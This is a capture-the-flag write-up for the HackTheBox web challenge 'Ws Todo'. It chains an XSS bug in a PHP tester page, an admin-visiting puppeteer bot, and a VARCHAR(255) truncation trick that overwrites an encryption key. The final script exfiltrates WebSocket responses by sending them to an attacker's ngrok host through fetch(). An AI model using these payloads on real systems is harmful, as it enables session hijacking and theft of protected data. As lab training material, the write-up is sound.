Ws Todo

Introduction

Ws Todo is an medium web challenge from HTB. There are two webs apps running on the machine, one is a todo app and the other is a html tester.

The flag is in the todo element of the todo app. But it protected and we need to have userId == 1 to access it. Furthermore, the content of a todo is encryted with a secret key.

HTML Tester

The HTML tester is a simple php file, that is get a parameter html from url and display it inside a echo statement.

php
<html>
    <body>
        <?php if (isset($_GET['html'])): ?>
            <?php echo $_GET['html']; ?>
        <?php else: ?>
            <h1>HTML Tester</h1>
            <p>Internal development tool</p>
            <form action="index.php" method="get">
                <input type="text" name="html" />
                <input type="submit" value="Submit" />
            </form>
        <?php endif; ?>
    </body>
</html>

This is really simple to see that service have a XSS vulnerability. We can inject a script in GET parameters.

Todo App (main service)

The Todo app is a express app with a mysql database. When you have an account you can create a todo and add some content. The content is encrypted with a secret key that is stored in the database.

There is definitions of the database in db.sql file:

sql
CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL,
    secret VARCHAR(255) NOT NULL,
    PRIMARY KEY (id)
);

CREATE TABLE todos (
    id INT NOT NULL AUTO_INCREMENT,
    user_id INT NOT NULL,
    data VARCHAR(255) NOT NULL,
    PRIMARY KEY (id),
    FOREIGN KEY (user_id) REFERENCES users(id)
);

The todo app have many routes but the most important are:

router.get('/secret', async (req, res) => {
    console.log("/secret", req.session.userId)
    const result = await db.getSecret(req.session.userId);
    if (result) {
        return res.status(200).json({ secret: result });
    }
    return res.status(400).json({ error: 'No secret found' });
});

router.post('/decrypt', async (req, res) => {
    if (!req.body.secret) {
        return res.status(400).json({ error: 'Missing secret' });
    }

    if (!req.body.cipher) {
        return res.status(400).json({ error: 'Missing cipher' });
    }

    try {
        const result = decrypt(req.body.cipher, req.body.secret);
        return res.status(200).json({ decrypted: result });
    } catch (e) {
        return res.status(400).json({ error: 'Invalid key or cipher' });
    }
});

// Report any suspicious activity to the admin!
router.post('/report', doReportHandler);
  • GET /secret - When a client sends a GET request to the /secret endpoint, the server will retrieve the secret associated with the user's session using the userId stored in the session. If the secret is found, the server will return a 200 OK response with a secret field in the JSON response body. If the secret is not found, the server will return a 400 Bad Request response with a error field indicating that no secret was found.
  • POST /decrypt - When a client sends a POST request to the /decrypt endpoint with a cipher and secret in the request body, the server will attempt to decrypt the cipher using the secret. If either the secret or cipher is missing, the server will return a 400 Bad Request response with a error field indicating that one of the required fields is missing. If the decryption fails, the server will return a 400 Bad Request response with a error field indicating that the key or cipher is invalid. If the decryption is successful, the server will return a 200 OK response with a decrypted field in the JSON response body.
  • POST /report - When a client sends a POST request to the /report endpoint, the server will handle the request using the doReportHandler function, which appears to be responsible for reporting suspicious activity to the admin.

The function doReportHandler will trigger a puppeteer script:

js
const puppeteer = require('puppeteer')

// please note that 127.0.0.1 and localhost are considered different hosts
// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1

const LOGIN_URL = "http://127.0.0.1/login";

let browser = null

const visit = async (url) => {
    const ctx = await browser.createIncognitoBrowserContext()
    const page = await ctx.newPage()

    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
    await page.waitForSelector('form')
    await page.type('wired-input[name=username]', process.env.USERNAME)
    await page.type('wired-input[name=password]', process.env.PASSWORD)
    await page.click('wired-button')

    try {
        await page.goto(url, { waitUntil: 'networkidle2' })
    } finally {
        await page.close()
        await ctx.close()
    }
}

const doReportHandler = async (req, res) => {

    if (!browser) {
        console.log('[INFO] Starting browser')
        browser = await puppeteer.launch({
            args: [
                ...
            ]
        })
    }

    const url = req.body.url
    if (
        url === undefined ||
        (!url.startsWith('http://') && !url.startsWith('https://'))
    ) {
        return res.status(400).send({ error: 'Invalid URL' })
    }

    try {
        await visit(url)
        return res.sendStatus(200)
    } catch (e) {
        return res.status(400).send({ error: e.message })
    }
}

module.exports = { doReportHandler }

The doReportHandler will visit first the login page of the todoApp and use credentials to log as admin. Then it will visit the url that is passed in the request body.

WsHandler

And the most important part is the wsHandler.js file. It used to create a task.

js
const { encrypt, decrypt } = require('./util/crypto');

let db;
let sessionParser;

const quotes = [
    "Genius is one percent inspiration and ninety-nine percent perspiration.",
    "Fate is in your hands and no one elses.",
    "Trust yourself. You know more than you think you do."
];

const wsHandler = (ws, req) => {
    let userId;
    sessionParser(req, {}, () => {
        if (req.session.userId) {
            userId = req.session.userId;
        } else {
            ws.close();
        }
    });

    ws.on('message', async (msg) => {
        const data = JSON.parse(msg);
        const secret = await db.getSecret(req.session.userId);

        if (data.action === 'add') {
            try {
                await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
                ws.send(JSON.stringify({ success: true, action: 'add' }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'add' }));
            }
        }
        else if (data.action === 'get') {
            try {
                const results = await db.getTasks(userId);
                const tasks = [];
                for (const result of results) {

                    let quote;

                    if (userId === 1) {
                        quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
                    } else {
                        quote = quotes[Math.floor(Math.random() * quotes.length)];
                    }

                    try {
                        const task = JSON.parse(result.data);
                        tasks.push({
                            title: encrypt(task.title, task.secret),
                            description: encrypt(task.description, task.secret),
                            quote: encrypt(quote, task.secret)
                        });
                    } catch (e) {
                        console.log(`Error parsing task ${result.data}: ${e}`);
                    }
                }
                ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
            } catch (e) {
                ws.send(JSON.stringify({ success: false, action: 'get' }));
            }
        }
        else {
            ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
        }
    });
};

module.exports = (database, session) => {
    db = database;
    sessionParser = session;
    return wsHandler;
};

We need to concentrate on the add action. The add action will add a task in the database. The task is JSON.stringify and stored in the data column. And there are no protection against long string. So we can overwrite the secret key.

js
if (data.action === 'add') {
    try {
        await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
        ws.send(JSON.stringify({ success: true, action: 'add' }));
    } catch (e) {
        ws.send(JSON.stringify({ success: false, action: 'add' }));
    }
}

data column

The data column have this definition:

sql
data VARCHAR(255) NOT NULL,

So we can't store more than 255 characters. If we try to store more than 255 characters, the content will be truncated. It really nice because our big problem is we don't have the key to decrypt the data. With this we will able to overwrite the secret key.

Constructing our payload

We know that this line is used to insert in database and there are any protection against long string.

js
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);

We need to calculate offset. To generate our payload, to add as we want in the data column.

We need to keep theses elements, and we need to generate an secret.

{"title":"a", => 13
"description":"", => 17
"secret":"f3eeaa82370f7e9bfbc2caf16f6d19b7",} => 45

13 + 17 + 45 => 75 255 - (75 - 1) => 181

We remove one on our result because we want to close the string at the end of description: If we retake the line of wsHandler.js:

js
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}<STOP_HERE>","secret":"${secret}"}`);
bash
python -c "print('A'*181)" | pbcopy

So we have our payload:

json
{
  "action": "add",
  "title":"a",
  "description": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\",\"secret\":\"f3eeaa82370f7e9bfbc2caf16f6d19b7"
}

Final payload

We need to generate a script to be triggered by the puppeteer script with the xss vuln on the first service. We also need to setup an express-sec with ngrok to get command output.

js
<script>
const s = async () => {
  const w = new WebSocket(`ws://127.0.0.1/ws`);
  w.onopen = async () => {
    w.send(JSON.stringify({action:'add',title:"a",description: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"f3eeaa82370f7e9bfbc2caf16f6d19b7"}'}));
    setTimeout(() => {w.send(JSON.stringify({action:'get'}));}, 1000);
  };
  w.onmessage = async (msg) => {
    fetch(`http://0c5f-91-69-133-214.ngrok.io/exploit/${btoa(msg.data)}`, {mode: 'no-cors'});
  };
};
s();
</script>

With this we have this response:

json
{
  "quote":
    {
      "iv": "f35ddb2c2292f575d2b9fc505da10997",
      "content":"87dcac119f4c45a9c534c3b54191fb98c854ba0f81f3ecfe08c90fd1058dcd8772982756fb21f4ccebd6f46723a77555ad81cb66b2689bb096e1825f3919ee"
    }
}

We can decrypt because the secret come from us.

So we can call /decrypt with this payload:

json
{
    "cipher": {
        "iv": "f35ddb2c2292f575d2b9fc505da10997",
        "content": "87dcac119f4c45a9c534c3b54191fb98c854ba0f81f3ecfe08c90fd1058dcd8772982756fb21f4ccebd6f46723a77555ad81cb66b2689bb096e1825f3919ee"
    },
    "secret": "f3eeaa82370f7e9bfbc2caf16f6d19b7"
}

And voila !